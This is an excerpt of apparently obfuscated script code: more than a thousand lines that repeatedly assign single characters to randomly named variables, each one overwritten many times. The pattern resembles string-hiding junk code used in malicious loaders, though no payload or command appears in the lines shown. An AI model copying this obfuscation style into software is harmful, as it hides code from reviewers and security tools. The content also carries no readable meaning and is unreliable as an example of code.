270	kdflepg = "D";
271	kdflepg = "h";
272	kdflepg = "M";
273	kdflepg = "Y";
274	kdflepg = "g";
275	kdflepg = "Q";
276	kdflepg = "N";
277	kdflepg = "H";
278	kdflepg = "d";
279	kdflepg = "Z";
280	kdflepg = "u";
281	kdflepg = "z";
282	kdflepg = "F";
283	kdflepg = "n";
284	kntxpzc = "n";
285	kntxpzc = "R";
286	kntxpzc = "f";
287	kntxpzc = "a";
288	kntxpzc = "i";
289	kntxpzc = "x";
290	kntxpzc = "V";
291	kntxpzc = "Q";
292	ivzlmi = "n";
293	ivzlmi = "w";
294	ivzlmi = "b";
295	ivzlmi = "C";
296	ivzlmi = "S";
297	ivzlmi = "D";
298	ivzlmi = "J";
299	ivzlmi = "A";
300	ivzlmi = "E";
301	ivzlmi = "F";
302	ivzlmi = "T";
303	ivzlmi = "T";
304	ivzlmi = "w";
305	ivzlmi = "d";
306	ivzlmi = "m";
307	ivzlmi = "E";
308	ivzlmi = "e";
309	ivzlmi = "o";
310	ivzlmi = "j";
311	ivzlmi = "n";
312	ivzlmi = "A";
313	ivzlmi = "N";
314	ivzlmi = "\"";
315	voszmteiq = "x";
316	voszmteiq = "v";
317	voszmteiq = "L";
318	voszmteiq = "g";
319	voszmteiq = "v";
320	voszmteiq = "a";
321	voszmteiq = "F";
322	voszmteiq = "e";
323	voszmteiq = "N";
324	voszmteiq = "j";
325	voszmteiq = "K";
326	voszmteiq = "t";
327	voszmteiq = "R";
328	voszmteiq = "r";
329	voszmteiq = "Q";
330	voszmteiq = "l";
331	voszmteiq = "n";
332	voszmteiq = "d";
333	voszmteiq = "C";
334	voszmteiq = "R";
335	voszmteiq = "M";
336	voszmteiq = "g";
337	voszmteiq = "l";
338	voszmteiq = "a";
339	voszmteiq = "O";
340	voszmteiq = "A";
341	voszmteiq = "s";
342	voszmteiq = "y";
343	voszmteiq = "s";
344	voszmteiq = "H";
345	voszmteiq = "M";
346	voszmteiq = "V";
347	voszmteiq = "O";
348	voszmteiq = "G";
349	voszmteiq = "m";
350	voszmteiq = "i";
351	voszmteiq = "Y";
352	voszmteiq = "M";
353	voszmteiq = "b";
354	voszmteiq = "f";
355	voszmteiq = "C";
356	mtcvlbn = "l";
357	mtcvlbn = "f";
358	mtcvlbn = "C";
359	mtcvlbn = "M";
360	mtcvlbn = "C";
361	mtcvlbn = "P";
362	mtcvlbn = "r";
363	mtcvlbn = "D";
364	mtcvlbn = "n";
365	mtcvlbn = "Q";
366	mtcvlbn = "o";
367	mtcvlbn = "T";
368	mtcvlbn = "T";
369	mtcvlbn = "G";
370	mtcvlbn = "h";
371	mtcvlbn = "k";
372	mtcvlbn = "c";
373	mtcvlbn = "s";
374	mtcvlbn = "q";
375	mtcvlbn = "l";
376	mtcvlbn = "x";
377	mtcvlbn = "R";
378	mtcvlbn = "e";
379	mtcvlbn = "O";
380	mtcvlbn = "s";
381	mtcvlbn = "o";
382	mtcvlbn = "A";
383	mtcvlbn = "b";
384	mtcvlbn = "G";
385	mtcvlbn = "U";
386	mtcvlbn = "s";
387	mtcvlbn = "a";
388	mtcvlbn = "O";
389	mtcvlbn = "l";
390	mtcvlbn = "_";
391	jfkkkxqkm = "s";
392	jfkkkxqkm = "K";
393	jfkkkxqkm = "N";
394	jfkkkxqkm = "I";
395	jfkkkxqkm = "A";
396	jfkkkxqkm = "u";
397	jfkkkxqkm = "B";
398	jfkkkxqkm = "m";
399	jfkkkxqkm = "b";
400	jfkkkxqkm = "g";
401	jfkkkxqkm = "s";
402	jfkkkxqkm = "L";
403	jfkkkxqkm = "N";
404	jfkkkxqkm = "e";
405	jfkkkxqkm = "P";
406	jfkkkxqkm = "h";
407	jfkkkxqkm = "u";
408	jfkkkxqkm = "C";
409	jfkkkxqkm = "M";
410	jfkkkxqkm = "S";
411	jfkkkxqkm = "z";
412	jfkkkxqkm = "C";
413	jfkkkxqkm = "K";
414	jfkkkxqkm = "n";
415	jfkkkxqkm = "c";
416	jfkkkxqkm = "K";
417	jfkkkxqkm = "c";
418	jfkkkxqkm = "N";
419	jfkkkxqkm = "H";
420	jfkkkxqkm = "I";
421	jfkkkxqkm = "h";
422	jfkkkxqkm = "J";
423	jfkkkxqkm = "C";
424	jfkkkxqkm = "K";
425	jfkkkxqkm = "s";
426	jfkkkxqkm = "Y";
427	jfkkkxqkm = "t";
428	jfkkkxqkm = "C";
429	jfkkkxqkm = "R";
430	jfkkkxqkm = "c";
431	jfkkkxqkm = "z";
432	jfkkkxqkm = "k";
433	jfkkkxqkm = "0";
434	odjuetf = "v";
435	odjuetf = "Q";
436	odjuetf = "H";
437	odjuetf = "b";
438	odjuetf = "o";
439	odjuetf = "X";
440	odjuetf = "l";
441	odjuetf = "Y";
442	odjuetf = "p";
443	odjuetf = "f";
444	odjuetf = "K";
445	odjuetf = "u";
446	odjuetf = "v";
447	odjuetf = "Z";
448	odjuetf = "B";
449	odjuetf = "h";
450	odjuetf = "x";
451	odjuetf = "J";
452	odjuetf = "c";
453	odjuetf = "P";
454	odjuetf = "O";
455	odjuetf = "F";
456	odjuetf = "v";
457	odjuetf = "s";
458	odjuetf = "N";
459	odjuetf = "p";
460	odjuetf = "i";
461	odjuetf = "I";
462	odjuetf = "I";
463	odjuetf = "a";
464	odjuetf = "s";
465	odjuetf = "O";
466	odjuetf = "P";
467	odjuetf = "Z";
468	odjuetf = "d";
469	odjuetf = "h";
470	odjuetf = "h";
471	odjuetf = "Q";
472	odjuetf = "s";
473	odjuetf = "d";
474	odjuetf = "f";
475	ywakytlmf = "R";
476	ywakytlmf = "z";
477	ywakytlmf = "T";
478	ywakytlmf = "v";
479	ywakytlmf = "f";
480	ywakytlmf = "p";
481	ywakytlmf = "k";
482	ywakytlmf = "t";
483	ywakytlmf = "Y";
484	ywakytlmf = "b";
485	ywakytlmf = "O";
486	ywakytlmf = "C";
487	ywakytlmf = "N";
488	ywakytlmf = "O";
489	ywakytlmf = "j";
490	ywakytlmf = "v";
491	ywakytlmf = "d";
492	ywakytlmf = "y";
493	ywakytlmf = "Y";
494	ywakytlmf = "d";
495	ywakytlmf = "c";
496	ywakytlmf = "d";
497	ywakytlmf = "x";
498	ywakytlmf = "p";
499	ywakytlmf = "e";
500	ywakytlmf = "d";
501	ywakytlmf = "v";
502	ywakytlmf = "E";
503	ywakytlmf = "j";
504	ywakytlmf = "P";
505	ywakytlmf = "q";
506	ywakytlmf = "C";
507	ywakytlmf = "d";
508	ywakytlmf = "e";
509	ywakytlmf = "g";
510	ywakytlmf = "f";
511	ywakytlmf = "i";
512	ywakytlmf = "f";
513	ywakytlmf = "p";
514	ywakytlmf = "w";
515	ywakytlmf = "P";
516	ywakytlmf = "D";
517	ywakytlmf = "H";
518	ywakytlmf = "B";
519	ywakytlmf = " ";
520	qystec = "N";
521	qystec = "/";
522	tsvdjz = "f";
523	tsvdjz = "o";
524	tsvdjz = "S";
525	tsvdjz = "M";
526	tsvdjz = "U";
527	tsvdjz = "G";
528	tsvdjz = "m";
529	tsvdjz = "V";
530	tsvdjz = "y";
531	tsvdjz = "w";
532	tsvdjz = "m";
533	tsvdjz = "c";
534	tsvdjz = "J";
535	tsvdjz = "V";
536	tsvdjz = "w";
537	tsvdjz = "T";
538	tsvdjz = "x";
539	tsvdjz = "w";
540	tsvdjz = "A";
541	tsvdjz = "m";
542	tsvdjz = "V";
543	tsvdjz = "c";
544	tsvdjz = "p";
545	tsvdjz = "r";
546	tsvdjz = "P";
547	tsvdjz = "C";
548	tsvdjz = "Y";
549	tsvdjz = "y";
550	tsvdjz = "w";
551	tsvdjz = "I";
552	tsvdjz = "g";
553	tsvdjz = "U";
554	tsvdjz = "F";
555	tsvdjz = "F";
556	tsvdjz = "W";
557	tsvdjz = "c";
558	tsvdjz = "u";
559	tsvdjz = "E";
560	tsvdjz = "J";
561	tsvdjz = "C";
562	tsvdjz = "c";
563	tsvdjz = "d";
564	tsvdjz = "B";
565	tsvdjz = "Z";
566	tsvdjz = "T";
567	kutdn = "R";
568	kutdn = "C";
569	kutdn = "M";
570	kutdn = "Q";
571	kutdn = "p";
572	kutdn = "N";
573	kutdn = "Y";
574	kutdn = "B";
575	kutdn = "s";
576	kutdn = "B";
577	kutdn = "d";
578	kutdn = "q";
579	kutdn = "L";
580	kutdn = "y";
581	kutdn = "f";
582	kutdn = "d";
583	kutdn = "R";
584	kutdn = "H";
585	kutdn = "u";
586	kutdn = "F";
587	kutdn = "Y";
588	kutdn = "Z";
589	kutdn = "V";
590	kutdn = "I";
591	odmbjrkcb = "S";
592	odmbjrkcb = "R";
593	odmbjrkcb = "g";
594	odmbjrkcb = "z";
595	odmbjrkcb = "G";
596	odmbjrkcb = "L";
597	odmbjrkcb = "w";
598	odmbjrkcb = "K";
599	odmbjrkcb = "v";
600	odmbjrkcb = "y";
601	odmbjrkcb = "o";
602	odmbjrkcb = "L";
603	odmbjrkcb = "v";
604	odmbjrkcb = "l";
605	odmbjrkcb = "Q";
606	odmbjrkcb = "N";
607	odmbjrkcb = "m";
608	odmbjrkcb = "Y";
609	odmbjrkcb = "N";
610	odmbjrkcb = "K";
611	odmbjrkcb = "-";
612	xxqva = "k";
613	xxqva = "U";
614	xxqva = "C";
615	xxqva = "m";
616	xxqva = "K";
617	xxqva = "u";
618	xxqva = "l";
619	xxqva = "O";
620	xxqva = "t";
621	xxqva = "a";
622	xxqva = "d";
623	xxqva = "q";
624	xxqva = "N";
625	xxqva = "y";
626	xxqva = "c";
627	xxqva = "M";
628	xxqva = "R";
629	xxqva = "i";
630	xxqva = "B";
631	xxqva = "s";
632	xxqva = "c";
633	xxqva = "K";
634	xxqva = "z";
635	xxqva = "E";
636	xxqva = "N";
637	xxqva = "s";
638	xxqva = "c";
639	xxqva = "c";
640	xxqva = "E";
641	xxqva = "F";
642	xxqva = "g";
643	xxqva = "a";
644	xxqva = "q";
645	xxqva = "O";
646	xxqva = "N";
647	xxqva = "S";
648	ihvkgutjz = "G";
649	ihvkgutjz = "O";
650	ihvkgutjz = "m";
651	ihvkgutjz = "O";
652	ihvkgutjz = "L";
653	ihvkgutjz = "q";
654	ihvkgutjz = "N";
655	ihvkgutjz = "V";
656	ihvkgutjz = "u";
657	ihvkgutjz = "f";
658	ihvkgutjz = "y";
659	ihvkgutjz = "n";
660	ihvkgutjz = "j";
661	ihvkgutjz = "b";
662	ihvkgutjz = "D";
663	ihvkgutjz = "c";
664	ihvkgutjz = "O";
665	ihvkgutjz = "Q";
666	ihvkgutjz = "h";
667	ihvkgutjz = "P";
668	ihvkgutjz = "B";
669	ihvkgutjz = "P";
670	ihvkgutjz = "K";
671	ihvkgutjz = "u";
672	ihvkgutjz = "b";
673	ihvkgutjz = "k";
674	ihvkgutjz = "U";
675	ihvkgutjz = "K";
676	ihvkgutjz = "z";
677	ihvkgutjz = "o";
678	ihvkgutjz = "Z";
679	ihvkgutjz = "A";
680	ihvkgutjz = "t";
681	ihvkgutjz = "R";
682	ihvkgutjz = "R";
683	eqjouny = "B";
684	eqjouny = "\\";
685	jbwato = "x";
686	jbwato = "U";
687	jbwato = "x";
688	jbwato = "m";
689	jbwato = "S";
690	jbwato = "Q";
691	jbwato = "T";
692	jbwato = "H";
693	jbwato = "v";
694	jbwato = "j";
695	jbwato = "w";
696	jbwato = "C";
697	jbwato = "E";
698	jbwato = "F";
699	jbwato = "J";
700	jbwato = "u";
701	jbwato = "S";
702	jbwato = "T";
703	jbwato = "H";
704	jbwato = "S";
705	jbwato = "m";
706	jbwato = "J";
707	jbwato = "u";
708	jbwato = "v";
709	jbwato = "O";
710	jbwato = "g";
711	jbwato = "C";
712	jbwato = "8";
713	zrpze = "S";
714	zrpze = "w";
715	zrpze = "p";
716	zrpze = "x";
717	zrpze = "Y";
718	zrpze = "E";
719	zrpze = "y";
720	zrpze = "Z";
721	zrpze = "b";
722	zrpze = "V";
723	zrpze = "W";
724	zrpze = "h";
725	zrpze = "W";
726	zrpze = "O";
727	zrpze = "l";
728	zrpze = "E";
729	zrpze = "o";
730	zrpze = "O";
731	zrpze = "r";
732	zrpze = "O";
733	zrpze = "L";
734	zrpze = "O";
735	zrpze = "f";
736	zrpze = "t";
737	zrpze = "j";
738	zrpze = "k";
739	zrpze = "L";
740	zrpze = "C";
741	zrpze = "Z";
742	zrpze = "N";
743	zrpze = "s";
744	zrpze = "C";
745	zrpze = "h";
746	zrpze = "c";
747	zrpze = "W";
748	zrpze = "x";
749	zrpze = "H";
750	zrpze = "O";
751	zrpze = "a";
752	bdytcjrkg = "J";
753	bdytcjrkg = "G";
754	bdytcjrkg = "d";
755	bdytcjrkg = "N";
756	uqsgyc = "x";
757	uqsgyc = "K";
758	uqsgyc = "H";
759	uqsgyc = "b";
760	uqsgyc = "J";
761	uqsgyc = "a";
762	uqsgyc = "L";
763	uqsgyc = "g";
764	uqsgyc = "q";
765	uqsgyc = "u";
766	uqsgyc = "h";
767	uqsgyc = "v";
768	uqsgyc = "x";
769	uqsgyc = "q";
770	uqsgyc = "f";
771	uqsgyc = "Y";
772	uqsgyc = "r";
773	uqsgyc = "T";
774	uqsgyc = "M";
775	uqsgyc = "T";
776	uqsgyc = "Z";
777	uqsgyc = "C";
778	uqsgyc = "l";
779	uqsgyc = "P";
780	uqsgyc = "P";
781	uqsgyc = "f";
782	uqsgyc = "Y";
783	uqsgyc = "u";
784	uqsgyc = "l";
785	uqsgyc = "z";
786	uqsgyc = "m";
787	uqsgyc = "E";
788	uqsgyc = "Y";
789	uqsgyc = "R";
790	uqsgyc = "t";
791	uqsgyc = "d";
792	uqsgyc = "d";
793	uqsgyc = "q";
794	uqsgyc = "x";
795	wfldbm = "J";
796	wfldbm = "J";
797	wfldbm = "X";
798	wfldbm = "K";
799	wfldbm = "W";
800	wfldbm = "L";
801	wfldbm = "o";
802	wfldbm = "u";
803	wfldbm = "s";
804	wfldbm = "E";
805	wfldbm = "u";
806	wfldbm = "W";
807	wfldbm = "x";
808	wfldbm = "u";
809	wfldbm = "a";
810	wfldbm = "Y";
811	wfldbm = "b";
812	wfldbm = "Y";
813	wfldbm = "W";
814	azekefe = "p";
815	azekefe = "g";
816	azekefe = "a";
817	azekefe = "U";
818	azekefe = "s";
819	azekefe = "P";
820	azekefe = "N";
821	azekefe = "Y";
822	azekefe = "Z";
823	azekefe = "S";
824	azekefe = "k";
825	azekefe = "e";
826	azekefe = "S";
827	azekefe = "J";
828	azekefe = "x";
829	azekefe = "u";
830	azekefe = "p";
831	azekefe = "v";
832	azekefe = "i";
833	azekefe = "A";
834	azekefe = "w";
835	azekefe = "k";
836	azekefe = "B";
837	azekefe = "K";
838	azekefe = "k";
839	azekefe = "Z";
840	azekefe = "v";
841	azekefe = "X";
842	azekefe = "6";
843	ydqyrg = "R";
844	ydqyrg = "f";
845	ydqyrg = "t";
846	ydqyrg = "L";
847	ydqyrg = "N";
848	ydqyrg = "z";
849	ydqyrg = "h";
850	ydqyrg = "H";
851	ydqyrg = "C";
852	ydqyrg = "i";
853	gaunrtrru = "B";
854	gaunrtrru = "E";
855	gaunrtrru = "W";
856	gaunrtrru = "A";
857	gaunrtrru = "L";
858	gaunrtrru = "u";
859	gaunrtrru = "c";
860	gaunrtrru = "b";
861	gaunrtrru = "V";
862	gaunrtrru = "m";
863	gaunrtrru = "T";
864	gaunrtrru = "y";
865	gaunrtrru = "T";
866	gaunrtrru = "M";
867	gaunrtrru = "n";
868	gaunrtrru = "K";
869	gaunrtrru = "e";
870	gaunrtrru = "x";
871	gaunrtrru = "Z";
872	gaunrtrru = "E";
873	gaunrtrru = "G";
874	gaunrtrru = "u";
875	gaunrtrru = "B";
876	gaunrtrru = "t";
877	gaunrtrru = "x";
878	gaunrtrru = "j";
879	gaunrtrru = "k";
880	gaunrtrru = "E";
881	gaunrtrru = "O";
882	jptyt = "t";
883	jptyt = "M";
884	jptyt = "o";
885	jptyt = "m";
886	jptyt = "y";
887	jptyt = "C";
888	jptyt = "Q";
889	jptyt = "r";
890	jptyt = "A";
891	jptyt = "U";
892	jptyt = "t";
893	jptyt = "h";
894	jptyt = "z";
895	jptyt = "D";
896	jptyt = "C";
897	jptyt = "p";
898	jptyt = "r";
899	jptyt = "T";
900	jptyt = "i";
901	jptyt = "J";
902	jptyt = "Q";
903	jptyt = "X";
904	jptyt = "B";
905	jptyt = "D";
906	jptyt = "s";
907	jptyt = "X";
908	jptyt = "w";
909	jptyt = "i";
910	jptyt = "u";
911	jptyt = "G";
912	jptyt = "F";
913	jptyt = "O";
914	jptyt = "H";
915	jptyt = "Z";
916	jptyt = "s";
917	cotffiyhc = "q";
918	cotffiyhc = "A";
919	cotffiyhc = "Q";
920	cotffiyhc = "b";
921	cotffiyhc = "Q";
922	cotffiyhc = "U";
923	cotffiyhc = "T";
924	cotffiyhc = "i";
925	cotffiyhc = "A";
926	cotffiyhc = "L";
927	cotffiyhc = "S";
928	cotffiyhc = "U";
929	cotffiyhc = "i";
930	cotffiyhc = "o";
931	cotffiyhc = "a";
932	cotffiyhc = "e";
933	cotffiyhc = "t";
934	cotffiyhc = "S";
935	cotffiyhc = "i";
936	cotffiyhc = "B";
937	cotffiyhc = "V";
938	cotffiyhc = "h";
939	cotffiyhc = "a";
940	cotffiyhc = "W";
941	cotffiyhc = "j";
942	cotffiyhc = "o";
943	cotffiyhc = "@";
944	emfjptbup = "2";
945	gsiusyw = "j";
946	gsiusyw = "n";
947	gsiusyw = "E";
948	gsiusyw = "Z";
949	gsiusyw = "v";
950	gsiusyw = "j";
951	gsiusyw = "b";
952	gsiusyw = "r";
953	gsiusyw = "z";
954	gsiusyw = "x";
955	gsiusyw = "R";
956	gsiusyw = "f";
957	gsiusyw = "v";
958	gsiusyw = "J";
959	gsiusyw = "O";
960	gsiusyw = "X";
961	gsiusyw = "w";
962	gsiusyw = "B";
963	gsiusyw = "y";
964	gsiusyw = "G";
965	gsiusyw = "G";
966	gsiusyw = "F";
967	gsiusyw = "X";
968	gsiusyw = "P";
969	gsiusyw = "i";
970	gsiusyw = "E";
971	gsiusyw = "z";
972	gsiusyw = "C";
973	gsiusyw = "R";
974	gsiusyw = "v";
975	govprg = "A";
976	govprg = "b";
977	govprg = "W";
978	govprg = "M";
979	govprg = "b";
980	govprg = "Z";
981	govprg = "L";
982	govprg = "R";
983	govprg = "C";
984	govprg = "r";
985	govprg = "L";
986	govprg = "h";
987	govprg = "e";
988	govprg = "c";
989	govprg = "g";
990	govprg = "R";
991	govprg = "I";
992	govprg = "p";
993	govprg = "W";
994	govprg = "O";
995	govprg = "H";
996	govprg = "E";
997	govprg = "V";
998	govprg = "P";
999	govprg = "n";
1000	govprg = "U";
1001	govprg = "w";
1002	govprg = "D";
1003	govprg = "O";
1004	govprg = "S";
1005	govprg = "S";
1006	govprg = "H";
1007	govprg = "S";
1008	govprg = "S";
1009	govprg = "W";
1010	govprg = "u";
1011	govprg = "n";
1012	govprg = "N";
1013	govprg = "v";
1014	govprg = "I";
1015	govprg = "s";
1016	govprg = "f";
1017	govprg = "Q";
1018	govprg = "K";
1019	govprg = "P";
1020	vgctinzf = "v";
1021	vgctinzf = "l";
1022	vgctinzf = "G";
1023	vgctinzf = "J";
1024	vgctinzf = "K";
1025	vgctinzf = "P";
1026	vgctinzf = "H";
1027	vgctinzf = "Z";
1028	vgctinzf = "t";
1029	vgctinzf = "J";
1030	vgctinzf = "r";
1031	vgctinzf = "s";
1032	vgctinzf = "O";
1033	vgctinzf = "W";
1034	vgctinzf = "q";
1035	vgctinzf = "Q";
1036	vgctinzf = "N";
1037	vgctinzf = "D";
1038	vgctinzf = "J";
1039	vgctinzf = "E";
1040	vgctinzf = "t";
1041	xblfips = "A";
1042	xblfips = "r";
1043	xblfips = "p";
1044	xblfips = "m";
1045	xblfips = "S";
1046	xblfips = "E";
1047	xblfips = "y";
1048	xblfips = "O";
1049	xblfips = "s";
1050	xblfips = "u";
1051	xblfips = "K";
1052	xblfips = "G";
1053	xblfips = "q";
1054	xblfips = "w";
1055	xblfips = "b";
1056	xblfips = "n";
1057	xblfips = "t";
1058	xblfips = "T";
1059	xblfips = "Y";
1060	xblfips = "H";
1061	ruqbab = "O";
1062	ruqbab = "f";
1063	ruqbab = "e";
1064	ruqbab = "v";
1065	ruqbab = "i";
1066	ruqbab = "m";
1067	ruqbab = "c";
1068	ruqbab = "S";
1069	ruqbab = "q";
1070	ruqbab = "E";
1071	ruqbab = "K";
1072	ruqbab = "w";
1073	ruqbab = "g";
1074	ruqbab = "f";
1075	ruqbab = "q";
1076	ruqbab = "P";
1077	ruqbab = "d";
1078	ruqbab = "A";
1079	ruqbab = "O";
1080	ruqbab = "L";
1081	ruqbab = "l";
1082	ruqbab = "f";
1083	ruqbab = "J";
1084	ruqbab = "n";
1085	ruqbab = "d";
1086	ruqbab = "n";
1087	ruqbab = "Y";
1088	lbnqt = "h";
1089	lbnqt = "m";
1090	lbnqt = "y";
1091	lbnqt = "v";
1092	lbnqt = "G";
1093	lbnqt = "I";
1094	lbnqt = "G";
1095	lbnqt = "g";
1096	lbnqt = "z";
1097	lbnqt = "Y";
1098	lbnqt = ".";
1099	rigyfnc = "e";
1100	rigyfnc = "z";
1101	rigyfnc = "y";
1102	rigyfnc = "b";
1103	rigyfnc = "g";
1104	rigyfnc = "i";
1105	rigyfnc = "p";
1106	rigyfnc = "v";
1107	rigyfnc = "v";
1108	rigyfnc = "m";
1109	rigyfnc = "S";
1110	rigyfnc = "c";
1111	rigyfnc = "S";
1112	rigyfnc = "L";
1113	rigyfnc = "o";
1114	rigyfnc = "R";
1115	rigyfnc = "m";
1116	rigyfnc = "p";
1117	rigyfnc = "a";
1118	rigyfnc = "i";
1119	rigyfnc = "z";
1120	rigyfnc = "l";
1121	rigyfnc = "J";
1122	rigyfnc = "n";
1123	rigyfnc = "I";
1124	rigyfnc = "J";
1125	rigyfnc = "D";
1126	rigyfnc = "D";
1127	rigyfnc = "p";
1128	rigyfnc = "n";
1129	rigyfnc = "l";
1130	rigyfnc = "W";
1131	rigyfnc = "A";
1132	rigyfnc = "z";
1133	rigyfnc = "a";
1134	rigyfnc = "Y";
1135	rigyfnc = "E";
1136	ceqkumiy = "o";
1137	ceqkumiy = "H";
1138	ceqkumiy = "X";
1139	ceqkumiy = "f";
1140	ceqkumiy = "e";
1141	ceqkumiy = "C";
1142	ceqkumiy = "o";
1143	ceqkumiy = "x";
1144	ceqkumiy = "K";
1145	ptgnlahdn = "S";
1146	ptgnlahdn = "b";
1147	ptgnlahdn = "N";
1148	ptgnlahdn = "a";
1149	ptgnlahdn = "E";
1150	ptgnlahdn = "H";
1151	ptgnlahdn = "b";
1152	ptgnlahdn = "u";
1153	ptgnlahdn = "V";
1154	ptgnlahdn = "J";
1155	ptgnlahdn = "a";
1156	ptgnlahdn = "Y";
1157	ptgnlahdn = "W";
1158	ptgnlahdn = "z";
1159	ptgnlahdn = "Z";
1160	ptgnlahdn = "R";
1161	ptgnlahdn = "A";
1162	ptgnlahdn = "c";
1163	ptgnlahdn = "y";
1164	ptgnlahdn = "w";
1165	ptgnlahdn = "g";
1166	ptgnlahdn = "Q";
1167	ptgnlahdn = "o";
1168	ptgnlahdn = "S";
1169	ptgnlahdn = "u";
1170	ptgnlahdn = "w";
1171	ptgnlahdn = "L";
1172	ptgnlahdn = "V";
1173	ptgnlahdn = "W";
1174	ptgnlahdn = "e";
1175	ptgnlahdn = "B";
1176	ptgnlahdn = "V";
1177	ptgnlahdn = "E";
1178	ptgnlahdn = "T";
1179	ptgnlahdn = "c";
1180	ptgnlahdn = "I";
1181	ptgnlahdn = "E";
1182	ptgnlahdn = "X";
1183	ptgnlahdn = "L";
1184	ptgnlahdn = "Z";
1185	ptgnlahdn = "K";
1186	ptgnlahdn = "d";
1187	jockvy = "K";
1188	jockvy = "U";
1189	jockvy = "j";
1190	jockvy = "k";
1191	jockvy = "R";
1192	jockvy = "L";
1193	jockvy = "G";
1194	jockvy = "m";
1195	jockvy = "T";
1196	jockvy = "e";
1197	jockvy = "m";
1198	jockvy = "5";
1199	ykmoq = "U";
1200	ykmoq = "n";
1201	ykmoq = "K";
1202	ykmoq = "d";
1203	ykmoq = "Z";
1204	ykmoq = "c";
1205	ykmoq = "j";
1206	ykmoq = "I";
1207	ykmoq = "M";
1208	ykmoq = "n";
1209	ykmoq = "K";
1210	ykmoq = "t";
1211	ykmoq = "b";
1212	ykmoq = "e";
1213	ykmoq = "y";
1214	ykmoq = "s";
1215	ykmoq = "d";
1216	ykmoq = "P";
1217	ykmoq = "n";
1218	ykmoq = "C";
1219	ykmoq = "F";
1220	ykmoq = "d";
1221	ykmoq = "a";
1222	ykmoq = "4";
1223	ttemctxwr = "p";
1224	ttemctxwr = "C";
1225	ttemctxwr = "M";
1226	ttemctxwr = "O";
1227	ttemctxwr = "B";
1228	ttemctxwr = "I";
1229	ttemctxwr = "Y";
1230	ttemctxwr = "u";
1231	vbxstkg = "Q";
1232	vbxstkg = "Z";
1233	vbxstkg = "h";
1234	vbxstkg = "b";
1235	vbxstkg = "G";
1236	vbxstkg = "H";
1237	vbxstkg = "Y";
1238	vbxstkg = "O";
1239	vbxstkg = "v";
1240	vbxstkg = "h";
1241	vbxstkg = "P";
1242	vbxstkg = "v";
1243	vbxstkg = "K";
1244	vbxstkg = "p";
1245	vbxstkg = "U";
1246	vbxstkg = "z";
1247	vbxstkg = "W";
1248	vbxstkg = "P";
1249	vbxstkg = "x";
1250	vbxstkg = "k";
1251	vbxstkg = "r";
1252	vbxstkg = "x";
1253	vbxstkg = "x";
1254	vbxstkg = "i";
1255	vbxstkg = "t";
1256	vbxstkg = "h";
1257	vbxstkg = "A";
1258	vbxstkg = "U";
1259	vbxstkg = "3";
1260	ffasfl = "h";
1261	ffasfl = "t";
1262	ffasfl = "d";
1263	ffasfl = "g";
1264	ffasfl = "x";
1265	ffasfl = "e";
1266	ffasfl = "K";
1267	ffasfl = "t";
1268	ffasfl = "w";
1269	ffasfl = "r";
1270	ffasfl = "L";
1271	ffasfl = "D";
1272	ffasfl = "C";
1273	ffasfl = "m";
1274	ffasfl = "x";
1275	ffasfl = "P";
1276	ffasfl = "v";
1277	ffasfl = "j";
1278	ffasfl = "g";
1279	ffasfl = "1";
1280	bocgpqx = "A";
1281	bocgpqx = "X";
1282	bocgpqx = "J";
1283	bocgpqx = "G";
1284	bocgpqx = "G";
1285	bocgpqx = "I";
1286	bocgpqx = "d";
1287	bocgpqx = "g";
1288	bocgpqx = "l";
1289	bocgpqx = "c";
1290	bocgpqx = "O";
1291	bocgpqx = "W";
1292	bocgpqx = "A";
1293	bocgpqx = "N";
1294	bocgpqx = "U";
1295	bocgpqx = "m";
1296	bocgpqx = "x";
1297	bocgpqx = "w";
1298	bocgpqx = "u";
1299	bocgpqx = "a";
1300	bocgpqx = "N";
1301	bocgpqx = "O";
1302	bocgpqx = "k";
1303	bocgpqx = "L";
1304	tmbull = "M";
1305	tmbull = "e";
1306	tmbull = "W";
1307	tmbull = "D";
1308	tmbull = "V";
1309	tmbull = "f";
1310	tmbull = "z";
1311	tmbull = "p";
1312	tmbull = "e";
1313	tmbull = "Y";
1314	tmbull = "K";
1315	tmbull = "z";
1316	tmbull = "E";
1317	tmbull = "m";
1318	tmbull = "N";
1319	tmbull = "k";
1320	tmbull = "b";
1321	tmbull = ":";
1322	gsrofzhiy = "Y";
1323	gsrofzhiy = "J";
1324	gsrofzhiy = "n";
1325	gsrofzhiy = "H";
1326	gsrofzhiy = "I";
1327	gsrofzhiy = "C";
1328	gsrofzhiy = "E";
1329	gsrofzhiy = "k";
1330	gsrofzhiy = "b";
1331	gsrofzhiy = "c";
1332	gsrofzhiy = "i";
1333	gsrofzhiy = "g";
1334	gsrofzhiy = "z";
1335	gsrofzhiy = "i";
1336	gsrofzhiy = "m";
1337	gsrofzhiy = "x";
1338	gsrofzhiy = "x";
1339	gsrofzhiy = "U";
1340	gsrofzhiy = "s";
1341	gsrofzhiy = "f";
1342	gsrofzhiy = "r";
1343	gsrofzhiy = "n";
1344	gsrofzhiy = "J";
1345	gsrofzhiy = "d";
1346	gsrofzhiy = "u";
1347	gsrofzhiy = "n";
1348	gsrofzhiy = "q";
1349	gsrofzhiy = "e";
1350	ugiwyqk = "y";
1351	ugiwyqk = "n";
1352	ugiwyqk = "r";
1353	ugiwyqk = "Y";
1354	ugiwyqk = "u";
1355	ugiwyqk = "r";
1356	ugiwyqk = "u";
1357	ugiwyqk = "t";
1358	ugiwyqk = "s";
1359	ugiwyqk = "R";
1360	ugiwyqk = "g";
1361	ugiwyqk = "o";
1362	ugiwyqk = "p";
1363	ugiwyqk = "C";
1364	ugiwyqk = "m";
1365	ugiwyqk = "i";
1366	ugiwyqk = "z";
1367	ugiwyqk = "n";
1368	ugiwyqk = "U";
1369	ugiwyqk = "g";
1370	ugiwyqk = "h";
1371	ugiwyqk = "M";
1372	ugiwyqk = "X";
1373	ugiwyqk = "X";
1374	ugiwyqk = "a";
1375	ugiwyqk = "k";
1376	ugiwyqk = "M";
1377	ugiwyqk = "%";
1378	fsnbq = "x";
1379	fsnbq = "H";
1380	fsnbq = "O";
1381	fsnbq = "m";
1382	fsnbq = "q";
1383	fsnbq = "M";
1384	fsnbq = "k";
1385	fsnbq = "O";
1386	fsnbq = "p";
1387	zxsuassvm = "s";
1388	zxsuassvm = "p";
1389	zxsuassvm = "C";
1390	zxsuassvm = "Q";
1391	zxsuassvm = "T";
1392	zxsuassvm = "a";
1393	zxsuassvm = "N";
1394	zxsuassvm = "M";
1395	zxsuassvm = "w";
1396	zxsuassvm = "x";
1397	zxsuassvm = "G";
1398	zxsuassvm = "L";
1399	zxsuassvm = "G";
1400	zxsuassvm = "M";
1401	zxsuassvm = "S";
1402	zxsuassvm = "N";
